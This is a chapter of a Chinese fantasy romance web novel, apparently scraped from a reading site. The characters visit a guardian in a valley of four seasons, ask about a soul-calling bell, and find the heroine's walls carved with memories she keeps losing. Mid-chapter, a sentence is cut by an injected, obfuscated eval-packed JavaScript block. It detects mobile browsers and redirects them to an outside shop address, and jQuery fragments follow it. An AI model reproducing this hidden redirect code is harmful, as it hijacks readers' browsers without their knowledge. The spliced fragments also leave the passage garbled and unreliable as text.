13. 刻字

作品:《区区战神,轻松拿捏

    那月白长袍之人名唤无名,而此地本名为无名谷,并非后世起的无风崖,不过起得都很随意,差别不大就是了。


    宁羿和寒岁暗自心想,这无名周身的神力深不可测,站在旁边那么久,他们三人竟无一人察觉。


    云澈却丝毫没有抗拒之意,反而觉得面前之人很是亲切:“我们从前是否见过?”


    那人深深地看着她,眼里分明满满的“是”,出口却是:“未曾。”


    “如此。”云澈也不觉得有什么,礼貌作揖道,“我们误闯此地,多有打扰。若要怪罪,就让这位黑衣服的留在此地,替我们三人赎罪吧。”


    寒岁:“?”


    无名轻笑一声,转身往前走:“相逢皆是缘,请三位随我入谷。”


    无名谷当真玄妙无双,刚才明明看到的是几座零落木屋,几乎没有景色可言。可往前没走多远,便由荒凉贫瘠变为草长莺飞。


    三人跟着无名往前,惊觉这只是开始,往前是盛夏光年,不多时又落叶缤纷,直至白雪皑皑。


    谁敢想,这沉淀了千万年浊气的谷底,竟然是一处灵气充盈之地。四季更迭,竟同时出现在无名谷中。


    无名保持着淡然的神色,一路穿过春夏秋冬,最终停留在一株红梅树下。


    白雪红梅下,一柄长剑斜斜插在厚厚的雪堆之中,不知过了多少年。剑柄缠绕的暗红色绸缎随风而动,似曾相识。


    “谷主,茶来了。”


    有小童端着茶水前来,放在桌前。


    无名做了一个“请”的姿势,三人各自占据桌子一边坐下。


    寒岁对那柄冰封长剑很感兴趣,一口气喝了茶,便起身离开。


    宁羿品了一口茶,四下张望后转头朝云澈道:“此地同你的镜泉山很像。”


    云澈“嗯”了一声,深以为然。


    不只是漫天冰雪,此地的气息也同镜泉山如出一辙。


    “镜泉山么?”透过氤氲的雾气,无名的目光投向天际,不知想起来什么,“的确。”


    “无名也去过镜泉山?”云澈倒是有些惊讶。


    无名好脾气地摇摇头:“自主人离开后,我一直据守此地。”


    主人?像他这么高深莫测之人,竟然还有主人?


    但这问题属实是个人隐私,云澈心里好奇,但也不好多问,怕勾起他的伤心回忆。


    “那,你可知唤魂铃?”


    云澈问得很直白,本以为他会躲躲闪闪、顾左右而言他,没曾想,他倒是很坦然地颔首:“我奉主人之命,在此守护神器唤魂铃。”


    她按捺住内心的惊喜,追问道:“那唤魂铃如何使用?”


    这次无名却摩挲着茶杯,目光看向寒岁的方向:“莫要心急,唤魂铃刚入世,命定之时还未到。”


    “那如何才是命定之时?!”


    “时辰到了,二位自然会再来此地。”


    他不紧不慢,说得玄之又玄,云澈还想再问,宁羿却握了握她的手。


    她这才发现,自己不知何时站了起来,声音也不自觉拔高了,看上去情绪颇有些激动。


    “……”她深吸一口气,“抱歉。”


    “无妨。”无名安然品着茶,看着她,意有所指,“世人皆放不下,我亦不能免俗。”


    “放下”二字,说着简单,要做到却何其困难。


    云澈心里不免有些郁闷。


    她来魔界,本就是为寻唤魂铃的使用方法而来,好不容易破开幻境寻到这神器守护者,却被告知还要等那不知何时的“命定”。


    等来等去,究竟要等到什么时候?


    她记性虽然一贯不好,但最近显然有加重的迹象。她怕某日睡醒,所有记忆烟消云散,哪怕对着冰墙上的刻字,也想不起分毫。


    宁羿看着她低落的表情,想了想,转为问了另一个问题:“谷主可知,她的记忆为何会每睡一觉便清空一次?”


    “她魂魄残缺大半,自然存不住记忆。”无名看了他一眼,了然道,“你也魂魄残缺,神力折损大半,自然看不出来。”


    有趣、有趣,两个对面而不识的魂魄残缺之人,竟也能破了他的幻境。


    寒岁根本没理会这边在聊些什么,他在长剑周围比划着,有些跃跃欲试,想要将剑从雪堆之中拔出来。


    云澈正想换换心情,远远瞧见这一幕,一时也有些好奇,奔过去在旁边探头探脑。


    “你来做什么?”寒岁很是嫌弃,“你能拔剑?”


    “当然是来看你怎么碰一鼻子灰。”云澈抱着手臂,看热闹似的站在一旁。


    “嘁。”寒岁懒得理她,找准了一个好角度,正要下手,却听怀中无争嗡鸣,像是有些激动。


    云澈离得近,自然也听见了:“呀,它们好像是旧识。”


    “旧什么识,吾的刀可是独一无二的神器……”寒岁说着,将无争取了出来,对比了一下,默默住了口。


    无论是铸造材料、制造工艺,还是剑柄红绸,二者都一模一样,显然出自同一人之手。


    “看来这世间的神器犹如大白菜,遍地都是。”云澈佯装感慨,实则补刀。


    寒岁臭着一张脸,一点儿也不想同她说话。


    “对了。”云澈想起无争的刃柄上刻有一个歪歪扭扭的“岁”字,先前还以为是寒岁自己刻的,现在想来其实不是,“看看剑柄上有没有字。”


    寒岁难得赞同一次她的看法,两人凑过去擦去霜雪,发现剑柄上竟然当真刻有一个同样歪歪扭扭的字。


    云澈辨别了半天:“……音?”


    “好像是。”寒岁将无争放在旁边对比了一下,“字迹也差不多,看来是出自同一人之手。”


    能造神器之人,自然并非凡人。只不过这位神的字……的确是很难恭维。


    云澈和寒岁对视一眼,双双把这句心里话咽了回去。


    为了缓解尴尬,她上下打量两件神器,用胳膊肘推了推他:“你的无争放在这长剑旁边,就像是用边角料做的……”


    “闭嘴吧。”寒岁忍无可忍地打断她,“滚开,别在吾这碍眼。”


    云澈逗弄够了他,又回眸看去。


    桌前,宁羿和无名优雅地品着茶。


    她想,或许他们二人兴趣更相投些,毕竟他们都是性子平和之人。


    可一想到“性子平和”,她脑海中便不由自主地浮现出秦骁对他搭弓射箭的一幕。


    “皆是虚妄、皆是虚妄……”她深呼吸几次,再转头时,却发现宁羿的身影已经不见了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991940|193753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    隐约记得他方才还在同无名交流什么“幻境”,什么“真实”,难道一时话不投机,令他拂袖而去?


    面对她的质疑,无名一摊手,似乎有几分无辜:“他自己走的。”


    来不及多说,云澈匆匆丢下一句“告辞了”,便追着宁羿的轨迹而去。


    他如此匆忙,莫不是天界出了什么岔子?


    可那唯一能令天界出岔子的魔尊还在无名谷内研究那柄长剑,想必他的离开,并不是为了天界之事。


    她放心前行了几步,实在难追,想起自己还有耳坠朝暮,于是抬手摸得不亦乐乎。


    身畔果然很快就传来宁羿略有几分无奈的声音:“我来了。”


    云澈委屈巴巴地指着自己的脚:“我追你追得你脚都崴了,走不了了。”


    话一出口,她又愣了愣。


    宁羿神色黯然地看着她,显然是同她一样,想起了岑月和秦骁灯会相见时差不离的对话。


    看来这幻境对他们二人影响都很大呢……云澈讪讪地想。


    “先送你回镜泉山吧。”宁羿最终还是妥协了,俯身将她抱入怀中。


    熟悉的冷松气息扑面而来,云澈安然地靠在他的胸膛:“那你之后要去哪里?”


    “回天界。”


    云澈抱着他的脖子,亲眼看到他在说这几个字时,耳根由白转红,不禁点破道:“你撒谎了。”


    宁羿叹口气,拿她没什么办法:“去一趟人界。”


    “我也去。”


    她说得那样毫不犹豫,倒是令宁羿觉得有些奇怪:“为何不怕我?”


    “为何要怕?”云澈反应过来他指的是幻境中的事,无所谓地摇摇头,“不过都是假象罢了。”


    宁羿呼吸一滞,吐字有些艰难:“倘若,并非假象呢?”


    云澈偏头想了想,旋即扬眉笑道:“我不在意的,睡一觉就忘记了。”


    “那再倘若,你的记忆可以恢复呢?”


    恢复记忆,意味着魂魄归位,云澈自然愿意,她有好多不该遗忘却被自己不断遗忘的重要事情,想要再度被想起来。


    她细细品了品他话里的意思,没有正面回答,却又直击重点:“你知道我的残魂在哪里?”


    宁羿默了默,看向前方:“镜泉山到了。”


    云澈不依不饶:“在人界何处?”


    “只是我的猜测而已。”宁羿顺利进入了镜泉山结界,将她放下,开口似有犹豫,“像现在这样过一日便忘一日,永远没有烦恼,不好吗?”


    没有烦恼当然好,可世间谁人敢说自己半点烦恼也没有?


    云澈少见地收起了春光灿烂的模样,牵起他的手,一言不发地来到自己的房门前。


    宁羿不解其意,但还是听话地跟着她推门而入。


    这是一个同样冰封的房间,四面的冰墙上,密密麻麻地刻满了她不想被忘记的事。


    其中最多的字眼,什么“师门”,什么“复生”,还有许多“唤魂铃”。


    同样的内容,她反反复复记录了数不清的次数,字迹由一开始的工整,变得越发潦草,甚至于最后都能透过文字,看穿她崩溃的内心。


    “忘不了的。”她轻声叹息,“记住比忘记更难。”